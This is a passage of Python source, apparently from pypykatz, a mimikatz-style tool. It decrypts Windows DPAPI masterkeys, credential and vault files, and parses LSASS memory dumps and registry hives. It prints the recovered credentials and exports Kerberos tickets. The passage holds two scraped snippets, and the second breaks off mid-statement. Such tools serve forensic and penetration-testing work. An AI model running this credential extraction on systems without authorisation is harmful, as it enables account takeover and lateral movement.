                    dpapi.decrypt_masterkey_file(args.mkf, key)

                elif args.sid is not None:
                    pw = args.password
                    if args.password is None:
                        import getpass
                        pw = getpass.getpass()

                    dpapi.get_prekeys_from_password(args.sid, pw)
                    dpapi.decrypt_masterkey_file(args.mkf, key)

                elif args.minidump is not None:
                    dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile)

                cred_blob = dpapi.decrypt_credential_file(args.cred, key)
                print(cred_blob.to_text())

        elif args.cmd == 'vault':
            if args.vpol is not None:
                if args.key is not None:
                    key1, key2 = dpapi.decrypt_vpol_file(args.vpol, key)
                    print('VPOL key1: %s' % key1.hex())
                    print('VPOL key2: %s' % key2.hex())

                else:
                    if args.method_registry == True:
                        if args.system is None or args.security is None:
                            raise Exception(
                                'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!'
                            )

                        dpapi.get_prekeys_form_registry_files(
                            args.system, args.security, args.sam)
                        dpapi.decrypt_masterkey_file(args.mkf, key)

                    elif args.sid is not None:
                        pw = args.password
                        if args.password is None:
                            import getpass
                            pw = getpass.getpass()

                        dpapi.get_prekeys_from_password(args.sid, pw)
                        dpapi.decrypt_masterkey_file(args.mkf, key)

                    elif args.minidump is not None:
                        dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile)

                    key1, key2 = dpapi.decrypt_vpol_file(args.vpol)
                    print('VPOL key1: %s' % key1.hex())
                    print('VPOL key2: %s' % key2.hex())

                if args.vcred is not None:
                    res = dpapi.decrypt_vcrd_file(args.vcred)
                    for attr in res:
                        for i in range(len(res[attr])):
                            if res[attr][i] is not None:
                                print('AttributeID: %s Key %s' % (attr.id, i))
                                print(hexdump(res[attr][i]))

            if args.vcred is not None:
                if args.key is not None:
                    key1, key2 = dpapi.decrypt_vpol_file(args.vpol, key)
                    print('VPOL key1: %s' % key1.hex())
                    print('VPOL key2: %s' % key2.hex())

                if args.vpol is None:
                    raise Exception(
                        'VCRED decryption requires a key OR a VPOL file')

    ###### Rekall
    elif args.command == 'rekall':
        mimi = pypykatz.parse_memory_dump_rekall(args.memoryfile,
                                                 args.timestamp_override)
        results['rekall'] = mimi

    ###### Minidump
    elif args.command == 'minidump':
        if args.directory:
            dir_fullpath = os.path.abspath(args.minidumpfile)
            file_pattern = '*.dmp'
            if args.recursive == True:
                globdata = os.path.join(dir_fullpath, '**', file_pattern)
            else:
                globdata = os.path.join(dir_fullpath, file_pattern)

            logging.info('Parsing folder %s' % dir_fullpath)
            for filename in glob.glob(globdata, recursive=args.recursive):
                logging.info('Parsing file %s' % filename)
                try:
                    mimi = pypykatz.parse_minidump_file(filename)
                    results[filename] = mimi
                except Exception as e:
                    files_with_error.append(filename)
                    logging.exception('Error parsing file %s ' % filename)
                    if args.halt_on_error == True:
                        raise e
                    else:
                        pass

        else:
            logging.info('Parsing file %s' % args.minidumpfile)
            try:
                mimi = pypykatz.parse_minidump_file(args.minidumpfile)
                results[args.minidumpfile] = mimi
            except Exception as e:
                logging.exception('Error while parsing file %s' %
                                  args.minidumpfile)
                if args.halt_on_error == True:
                    raise e
                else:
                    traceback.print_exc()

    ###### Registry
    elif args.command == 'registry':
        po = OffineRegistry.from_files(args.system, args.sam, args.security)

        if args.outfile:
            po.to_file(args.outfile, args.json)
        else:
            print(str(po))

    if args.outfile and args.json:
        with open(args.outfile, 'w') as f:
            json.dump(results,
                      f,
                      cls=UniversalEncoder,
                      indent=4,
                      sort_keys=True)

    elif args.outfile:
        with open(args.outfile, 'w') as f:
            for result in results:
                f.write('FILE: ======== %s =======\n' % result)

                for luid in results[result].logon_sessions:
                    f.write('\n' + str(results[result].logon_sessions[luid]))

                if len(results[result].orphaned_creds) > 0:
                    f.write('\n== Orphaned credentials ==\n')
                    for cred in results[result].orphaned_creds:
                        f.write(str(cred))

            if len(files_with_error) > 0:
                f.write('\n== Failed to parse these files:\n')
                for filename in files_with_error:
                    f.write('%s\n' % filename)

    elif args.json:
        print(
            json.dumps(results, cls=UniversalEncoder, indent=4,
                       sort_keys=True))

    else:
        for result in results:
            print('FILE: ======== %s =======' % result)
            if isinstance(results[result], str):
                print(results[result])
            else:
                for luid in results[result].logon_sessions:
                    print(str(results[result].logon_sessions[luid]))

                if len(results[result].orphaned_creds) > 0:
                    print('== Orphaned credentials ==')
                    for cred in results[result].orphaned_creds:
                        print(str(cred))

        if len(files_with_error) > 0:
            print('\n==== Parsing errors:')
            for filename in files_with_error:
                print(filename)

    if args.kerberos_dir:
        dir = os.path.abspath(args.kerberos_dir)
        logging.info('Writing kerberos tickets to %s' % dir)
        for filename in results:
            base_filename = ntpath.basename(filename)
            ccache_filename = '%s_%s.ccache' % (
                base_filename, os.urandom(4).hex())  #to avoid collisions
            results[filename].kerberos_ccache.to_file(
                os.path.join(dir, ccache_filename))
            for luid in results[filename].logon_sessions:
                for kcred in results[filename].logon_sessions[
                        luid].kerberos_creds:
                    for ticket in kcred.tickets:
                        ticket.to_kirbi(dir)

            for cred in results[filename].orphaned_creds:
                if cred.credtype == 'kerberos':
                    for ticket in cred.tickets:
                        ticket.to_kirbi(dir)
예제 #17
0
    files_with_error = []

    results = {}
    if args.directory:
        dir_fullpath = os.path.abspath(args.minidumpfile)
        file_pattern = '*.dmp'
        if args.recursive == True:
            globdata = os.path.join(dir_fullpath, '**', file_pattern)
        else:
            globdata = os.path.join(dir_fullpath, file_pattern)

        logging.info('Parsing folder %s' % dir_fullpath)
        for filename in glob.glob(globdata, recursive=args.recursive):
            logging.info('Parsing file %s' % filename)
            try:
                mimi = pypykatz.parse_minidump_file(filename)
                results[filename] = mimi
            except Exception as e:
                files_with_error.append(filename)
                logging.exception('Error parsing file %s ' % filename)
                if args.halt_on_error == True:
                    raise e
                else:
                    pass

        if args.outfile and args.json:
            with open(args.outfile, 'w') as f:
                json.dump(results,
                          f,
                          cls=UniversalEncoder,
                          indent=4,